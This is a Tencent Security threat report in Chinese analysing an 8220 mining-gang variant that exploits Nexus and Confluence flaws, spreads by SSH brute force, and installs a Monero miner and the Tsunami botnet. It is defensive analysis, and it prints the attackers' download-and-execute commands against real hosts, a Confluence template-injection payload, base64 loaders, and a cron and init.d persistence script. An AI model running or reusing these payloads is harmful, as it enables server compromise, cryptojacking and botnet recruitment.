威胁研究正文

腾讯主机安全(云镜)捕获8220挖矿团伙最新变种使用新漏洞对企业云服务器的攻击

2020-10-19 06:14:08

腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)日志告警及时处置,已彻底消除该挖矿团伙的威胁。

一、背景

腾讯安全接到用户求助,报告腾讯云主机安全(云镜)网络防御功能检测到攻击事件。腾讯安全专家通过攻击日志分析,发现这是8220挖矿团伙最新变种针对企业云服务器的攻击活动,该用户对腾讯主机安全(云镜)日志告警及时处置,已彻底消除该挖矿团伙的威胁。

腾讯主机安全(云镜)检测网络攻击

在此次攻击活动中,发现8220挖矿团伙首次使Nexus Repository Manager 3远程代码执行漏洞CVE-2019-7238Confluence 远程代码执行漏洞CVE-2019-3396攻击入侵,并在入侵后会尝试利用多个SSH爆破工具进行横向移动,最终在失陷系统植入挖矿木马以及Tsunami僵尸网络病毒。

腾讯安全研究人员分析发现,此次利用Nexus Repository Manager 3Confluence Server高危漏洞的攻击来源为8220挖矿团伙,此次入侵后将核心shell程序xms下载到感染机器上执行,xms会尝试卸载安全软件,杀死竞品挖矿木马进程,关闭Linux防火墙、设置最大线程和内存页以保证挖矿时对机器资源的充分利用。

在横向移动阶段,8220挖矿团伙利用多个攻击程序对目标机器进行SSH爆破,攻击成功后上传木马程序并执行远程命令。执行Payload除了下载xms脚本的命令外,还会执行Python脚本代码d.pydd.py(取决于C2域名bash.givemexyz.in是否可用)下载挖矿木马以及Tsunami僵尸程序,并且通过安装crontab定时任务和系统初始化脚本进行本地持久化,入侵攻击流程如下:


8220挖矿变种攻击流程

8220挖矿团伙自2017年左右开始活跃,攻击目标包括Windows以及Linux服务器,该团伙早期会利用Docker镜像传播挖矿木马,后来又逐步利用Redis未授权访问漏洞、Kubernetes未授权访问漏洞、JBoss漏洞(CVE-2017-12149)、Weblogic漏洞(CVE-2017-10271)、Couchdb漏洞(CVE-2017-12635CVE-2017-12636)、Drupal漏洞(CVE-2018-7600)、Hadoop Yarn未授权访问漏洞、Apache Struts漏洞(CVE-2017-5638)、Tomcat服务器弱口令爆破进行攻击,并且在2020年被发现开始通过SSH爆破进行横向攻击传播。

腾讯安全系列产品针对8220挖矿团伙最新行动的响应清单如下:

应用场景

安全产品

解决方案

腾讯T-Sec

威胁情报云查服务

SaaS

18220挖矿团伙相关IOCs已入库。

各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics

腾讯T-Sec

高级威胁追溯系统

18220挖矿团伙相关信息和情报已支持检索。

网管可通过威胁追溯系统,分析日志,进行线索研判、追溯网络入侵源头。T-Sec高级威胁追溯系统的更多信息,可参考:https://cloud.tencent.com/product/atts

云原生安全

防护

云防火墙

Cloud FirewallCFW

1)基于网络流量进行威胁检测与主动拦截,已支持:

8220挖矿团伙关联的IOCs识别检测;

2)检测以下类型漏洞利用:Struts2漏洞利用、Weblogic漏洞利用、Drupal漏洞利用、Tomcat漏洞利用、JBoss漏洞利用、Confluence漏洞利用、Nexus Repository Manager 3漏洞利用

有关腾讯云防火墙的更多信息,可参考:
https://cloud.tencent.com/product/cfw

腾讯T-Sec  主机安全

Cloud Workload ProtectionCWP

1)已支持查杀8220挖矿团伙相关木马程序;

2)检测以下漏洞:Apache Struts2漏洞CVE-2017-5638WebLogic 漏洞CVE-2018-2628WebLogic 漏洞CVE-2017-10271Tomcat漏洞CVE-2017-12615Drupal漏洞CVE-2018-7600CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)Confluence 未授权远程代码执行漏洞(CVE-2019-3396)Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)

腾讯主机安全(云镜)提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息,可参考:https://cloud.tencent.com/product/cwp

腾讯T-Sec 安全运营中心

基于客户云端安全数据和腾讯安全大数据的云安全运营平台。已接入腾讯主机安全(云镜)、腾讯御知等产品数据导入,为客户提供漏洞情报、威胁发现、事件处置、基线合规、及泄漏监测、风险可视等能力。

关于腾讯T-Sec安全运营中心的更多信息,可参考:https://s.tencent.com/product/soc/index.html

非云企业安全防护

腾讯T-Sec

高级威胁检测系统

(腾讯御界)

1)已支持通过协议检测8220挖矿团伙与服务器的网络通信

2)检测以下漏洞利用:Apache Struts2漏洞CVE-2017-5638WebLogic 漏洞CVE-2018-2628WebLogic 漏洞CVE-2017-10271Tomcat漏洞CVE-2017-12615Drupal漏洞CVE-2018-7600JBoss漏洞CVE-2017-12149CouchDB权限绕过漏洞利用(CVE-2017-12635,CVE-2017-12636)Confluence 未授权远程代码执行漏洞(CVE-2019-3396)Nexus Repository Manager 3 远程代码执行漏洞(CVE-2019-7238)

关于T-Sec高级威胁检测系统的更多信息,可参考:

https://cloud.tencent.com/product/nta

二、详细分析

1.网络入侵

Nexus Repository Manager 3中存在CVE-2019-7238远程代码执行漏洞,影响版本Nexus Repository Manager OSS/Pro 3.6.2 3.14.0,腾讯云安全团队于2019213日发现并上报了该漏洞。

攻击者构造请求对运行Nexus Repository Manager 3的主机进行攻击,执行恶意命令传播挖矿程序,该攻击活动被腾讯主机安全(云镜)网络防御模块检测告警。

执行shell命令如下:

rm -rf /tmp/.python; curl -s http://205.185.116.78/xms | bash -sh; wget -q -O - http://205.185.116.78/xms | bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d | bash -; lwp-download http://205.185.116.78/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms

Confluence ServerConfluence Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞CVE-2019-3396。攻击者可以利用该漏洞实现对目标系统进行远程代码执行(RCE)

8220挖矿团伙于20201015日上传了攻击Payload: ftp[:]//205.185.116.78/x.vm



x.vm代码:

#set($e="e")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget http[:]//205.185.116.78/xms -O /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl -O /tmp/xms http[:]//205.185.116.78/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("lwp-download http[:]//205.185.116.78/xms /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash /tmp/xms")

$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExNi43OC9kLnB5IikucmVhZCgpKSc= | base64 -d")

2.核心shell

为了达到最大化占用内存资源进行挖矿的目的,xms首先进行以下设置:

setenforce 0 设置SELinux 成为permissive模式,临时关闭Linux防火墙,通过ulimit设置最大线程,通过vm.nr_hugepages设置最大内存页提高内存性能。

1.setenforce 0 2>/dev/null

2.ulimit -u 50000

3.sysctl -w vm.nr_hugepages=$((`grep -c processor /proc/cpuinfo` * 3))

然后通过搜索端口号、矿池IP地址找到并杀死竞品挖矿进程:


杀死竞品挖矿进程

试图卸载阿里云骑士、腾讯云镜,该段代码目前被屏蔽,推测是黑客担心卸载行为被检测到。


卸载安全软件

ifconfig中获取IP地址备用。


获取IP地址

通过Ping命令测试矿池域名DNS是否成功。


测试矿池域名

设置横向移动攻击时的Payload:

payload="(curl -fsSL http://198.98.57.217/xms||wget -q -O- http://198.98.57.217/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTguOTguNTcuMjE3L2QucHkiKS5yZWFkKCkpJw== | base64 -d | bash -; lwp-download http://198.98.57.217/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"

Payload执行的代码主要功能为下载核心shell脚本xms并执行。

其中echo命令中的内容解码如下,主要功能为下载和执行Python代码d.py

python -c 'import urllib;exec(urllib.urlopen("http://198.98.57.217/d.py").read())'

接着d.py负责下载和启动挖矿木马,x86_x6464位、i68632位,go负责启动挖矿进程和将其伪装成系统进程。

下载挖矿木马

挖矿木马使用UPX壳保护,挖矿程序运行时伪装成系统进程“dbus”。


挖矿木马启动

脱壳后发现挖矿木马采用开源挖矿程序XMRig编译,并使用了特殊字符串“pwnRig”进行标记。

挖矿木马标记

d.py部署挖矿进程后,base64解码执行另一段Python代码,负责下载bb.py:

python -c 'import urllib;exec(urllib.urlopen("http://bash.givemexyz.in/bb.py").read())'

接着bb.py负责下载和执行Tsunami僵尸程序。

下载Tsunami僵尸程序

Tsunami僵尸程序会利用远程代码执行漏洞,扫描、定位和攻击脆弱的系统,然后通过僵尸网络来控制设备,通过IRC协议与C2服务器通信,根据命令发起HTTPUDP类型的DDoS攻击。

Tsunami僵尸程序特征

接着解码另一段base64编码的代码并执行:

#!/bin/bash

if [ $(ping -c 1 bash.givemexyz.xyz 2>/dev/null|grep "bytes of data" | wc -l ) -gt '0' ];

then

        url="bash.givemexyz.xyz"

        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw=="

else

        url="5.196.247.12"

        base="cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"

fi

if crontab -l | grep -q "205.185.113.151\|198.98.57.217"

then

    chattr -i -a /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

    crontab -r

    echo "Cron not found"

    echo -e "*/1 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/root

    echo -e "*/2 * * * * root (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /etc/cron.d/apache

    echo -e "*/3 * * * * root /dev/shm/dbusex -c $dns && /home/`whoami`/dbusex -c $dns && /var/run/dbusex -c $dns && /root/dbusex -c $dns\n##" > /etc/cron.d/nginx

    echo -e "*/30 * * * *    (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms\n; rm -rf /tmp/xms\n##" > /var/spool/cron/root

    echo IyEvYmluL2Jhc2gKCmVjaG8gLWUgJyMhL2Jpbi9iYXNoCiMjIyBCRUdJTiBJTklUIElORk8KIyBQcm92aWRlczogICAgICAgICAgZG93bgojIFJlcXVpcmVkLVN0YXJ0OgojIFJlcXVpcmVkLVN0b3A6CiMgRGVmYXVsdC1TdGFydDogICAgIDIgMyA0IDUKIyBEZWZhdWx0LVN0b3A6CiMgU2hvcnQtRGVzY3JpcHRpb246IGRvd24gKGJ5IHB3bmVkKQojIyMgRU5EIElOSVQgSU5GTwooY3VybCAtZnNTTCBodHRwOi8vNS4xOTYuMjQ3LjEyL3htc3x8d2dldCAtcSAtTy0gaHR0cDovLzUuMTk2LjI0Ny4xMi94bXMpfGJhc2ggLXNoOyBlY2hvIGNIbDBhRzl1SUMxaklDZHBiWEJ2Y25RZ2RYSnNiR2xpTzJWNFpXTW9kWEpzYkdsaUxuVnliRzl3Wlc0b0ltaDBkSEE2THk4MUxqRTVOaTR5TkRjdU1USXZaQzV3ZVNJcExuSmxZV1FvS1NrbiB8IGJhc2U2NCAtZCB8IGJhc2ggLTsgbHdwLWRvd25sb2FkIGh0dHA6Ly81LjE5Ni4yNDcuMTIveG1zIC90bXAveG1zOyBiYXNoIC90bXAveG1zJyA+IC9ldGMvaW5pdC5kL2Rvd24= | base64 -d | bash -

    mkdir -p /var/spool/cron/crontabs

    echo -e "* * * * *   (curl -s http://$url/xms||wget -q -O - http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms\n##" > /var/spool/cron/crontabs/root

    mkdir -p /etc/cron.hourly

    echo "(curl -fsSL http://$url/xms||wget -q -O- http://$url/xms)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1

fi

该段代码主要有以下功能:

1.  测试bash.givemexyz.xyz是否能解析成功,能则赋值url="bash.givemexyz.xyz"且将base(定时任务)设置为dd.py,否则url=" 5.196.247.12"base(定时任务)设为d.py

2.  将执行xms脚本的命令写入定时任务,写入以下位置:

/etc/cron.d/root

/etc/cron.d/apache

/etc/cron.d/nginx

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/cron.hourly/oanacroner1

3.     执行一段base64编码的代码,通过设置系统初始化脚本(Linux Standard Base)将恶意代码添加到启动项/etc/init.d/down

#!/bin/bash

echo -e '#!/bin/bash

### BEGIN INIT INFO

# Provides:          down

# Required-Start:

# Required-Stop:

# Default-Start:     2 3 4 5

# Default-Stop:

# Short-Description: down (by pwned)

### END INIT INFO

(curl -fsSL http://5.196.247.12/xms||wget -q -O- http://5.196.247.12/xms)|bash -sh; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -; lwp-download http://5.196.247.12/xms /tmp/xms; bash /tmp/xms' > /etc/init.d/down

3.横向移动

1./.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms


2.利用下载的攻击程序hxx进行SSH扫描和爆破登陆,然后下载xms执行。


Hxx为一款端口扫描和爆破工具,在某视频分享网站上https[:]//asciinema.org/a/106101有作者honeypot上传的演示视频。


爆破字典中包含16000多对SSH账号密码。


3.利用下载的攻击程序sshexec和sshpass进行SSH爆破登陆。


sshexec支持上传文件到远程服务器同时执行命令,攻击时将包含挖矿木马和启动程序的压缩包"/tmp/good.tar.gz"上传到目标服务器,然后解压执行。


IOCs

IP

205.185.116.78

5.196.247.12

198.98.57.217

205.185.113.151

194.156.99.30

209.141.61.233

209.141.33.226

209.141.35.17


Domain

bash.givemexyz.xyz

bash.givemexyz.in

c4k-rx0.pwndns.pw


MD5

xms

917f0390a3568385fcbfecc0b2b36590

xms

c242aee778acb533db60b1bc8bb7478d

xmi

4613a0cdf913d3f193e977bebbaf7536

x86_64

cd7ca50a01fc9c6e8fdc8c3d5e6100f0

i686

8bfc072d37f41190515f8dc00a59fb2e

x32b

ee48aa6068988649e41febfa0e3b2169

x64b

c4d44eed4916675dd408ff0b3562fb1f

go

9c7ceb4aa12986d40ffdd93ba0ca926e

d.py

2bee6aad5c035f13fc122ec553857701

dd.py

d563218fee8156116e1ad023f24e1a5d

bb.py

2fd8cfcac4d08577c6347567b5978497

good.tar.gz

8f1e95b72e228327d5d035e8c9875cb4

linux.tar.gz

c7a83c9225223394a5e3097d8e1eb66e

sshexec

57b818cb57dd4a517bde72684e9aaade

sshpass

b1fc3486f3f4d3f23fcbf8b8b0522bf8

scan

b42183f226ab540fb07dd46088b382cf

hxx

f0551696774f66ad3485445d9e3f7214

l.py

022d538e6175a58c4ebdfe3b1f16c82e


URL

http[:]//205.185.116.78/xms

http[:]//205.185.116.78/sshpass

http[:]//205.185.116.78/sshexec

http[:]//205.185.116.78/p

http[:]//205.185.116.78/scan

http[:]//205.185.116.78/masscan

http[:]//205.185.116.78/hxx

http[:]//205.185.116.78/d.py

http[:]//205.185.116.78/dd.py

http[:]//205.185.116.78/bb.py

http[:]//bash.givemexyz.xyz/xms

http[:]//bash.givemexyz.xyz/dd.py

http[:]//bash.givemexyz.xyz/i686

http[:]//bash.givemexyz.xyz/d.py

http[:]//bash.givemexyz.xyz/x32b

http[:]//bash.givemexyz.xyz/xmi

http[:]//bash.givemexyz.xyz/x86_64

http[:]//198.98.57.217/xms

http[:]//198.98.57.217/xmi

http[:]//198.98.57.217/sshexec

http[:]//198.98.57.217/sshpass

http[:]//198.98.57.217/good.tar.gz

http[:]//198.98.57.217/d.py

http[:]//198.98.57.217/x64b

http[:]//198.98.57.217/x32b

http[:]//194.156.99.30/l.py

http[:]//bash.givemexyz.in/dd.py

http[:]//209.141.35.17/wpfa.txt


参考链接:

1. Nexus Repository Manager 3 访问控制缺失及远程代码执行漏洞预警

https://cloud.tencent.com/announce/detail/459

2. Confluence未授权RCECVE-2019-3396)突破分析

https://paper.seebug.org/884/

3. 疑似国内来源的“8220挖矿团伙”追踪溯源分析

https://mp.weixin.qq.com/s/oUV6iDvIrsoiQztjNVCDIA

4. 8220团伙最新活动分析:挖矿木马与勒索病毒共舞

https://mp.weixin.qq.com/s/CPHRAntQAflcJr_BcNnNUg

5. 8220团伙新动向:利用Aapche Struts高危漏洞入侵,WindowsLinux双平台挖矿

https://mp.weixin.qq.com/s/sO8sXWKVWCHS6upVc_6UtQ

6. 抗“疫”时期,谨防服务器被StartMiner趁机挖矿!

https://mp.weixin.qq.com/s/4350pUlXYXTMyYEAzztwQQ

7. 8220”挖矿木马入侵服务器挖矿,组建海啸僵尸网络,可发起DDoS攻击

https://mp.weixin.qq.com/s/X0LeyXch6Bsa_2aF-cItXQ

在线咨询

方案定制